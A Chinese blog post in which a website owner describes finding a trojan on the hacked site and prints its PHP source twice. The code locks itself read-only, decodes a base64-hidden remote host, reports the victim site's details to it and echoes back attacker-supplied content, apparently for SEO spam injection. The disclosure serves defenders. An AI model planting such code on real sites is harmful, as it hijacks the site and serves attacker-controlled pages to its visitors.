本站被不法分子入侵了….

前几天的数据全部乱了，就感觉到非常的好奇，到底哪里的问题，数据平白无故的会变了，单页数据全乱套了，今天登陆BT面板发现空间又满了，好奇怪的问题，没办法，只有下载日志查看详细问题；最终发现了木马

给大家上个马文件源码

<?php
set_time_limit(0);
$url1 = $_SERVER['PHP_SELF'];  
$name= substr($url1 ,strrpos($url1 ,'/')+1 );
chmod($name,0444);
header("Content-Type: text/html;charset=gb2312");
date_default_timezone_set('PRC');
$a = base64_decode("aHR0cDovL2cxMDA4Ni5jYy8=");
$b = base64_decode("aHR0cDovLw==") . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$c = file_get_contents($a . base64_decode("L2luZGV4LnBocD9ob3N0PQ==") . $b . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['SERVER_NAME']);
echo $c;
?>

<?php

set_time_limit(0);

$url1 = $_SERVER['PHP_SELF'];

$name= substr($url1 ,strrpos($url1 ,'/')+1 );

chmod($name,0444);

header("Content-Type: text/html;charset=gb2312");

date_default_timezone_set('PRC');

$a = base64_decode("aHR0cDovL2cxMDA4Ni5jYy8=");

$b = base64_decode("aHR0cDovLw==") . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];

$c = file_get_contents($a . base64_decode("L2luZGV4LnBocD9ob3N0PQ==") . $b . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['SERVER_NAME']);

echo $c;

不知道这是哪位大神的，如果您想对本站做什么，还请您联系本人，咱们都好谈，务必对本站手下留情！

另外一个地方的就不放了，应该是个泛目录程序，看错误提示是采集chinanews的新闻的，所以判断是个泛目录程序；

最后再次请求大神，饶了鄙人吧，另外如果可以还请告诉入口在哪了！

电信天翼智慧社区产品

二哈RhaPHP系统增加手机号登录

参与评论

快速导航

本站被不法分子入侵了….

分享本文封面

相关文章

参与评论

登录

快速导航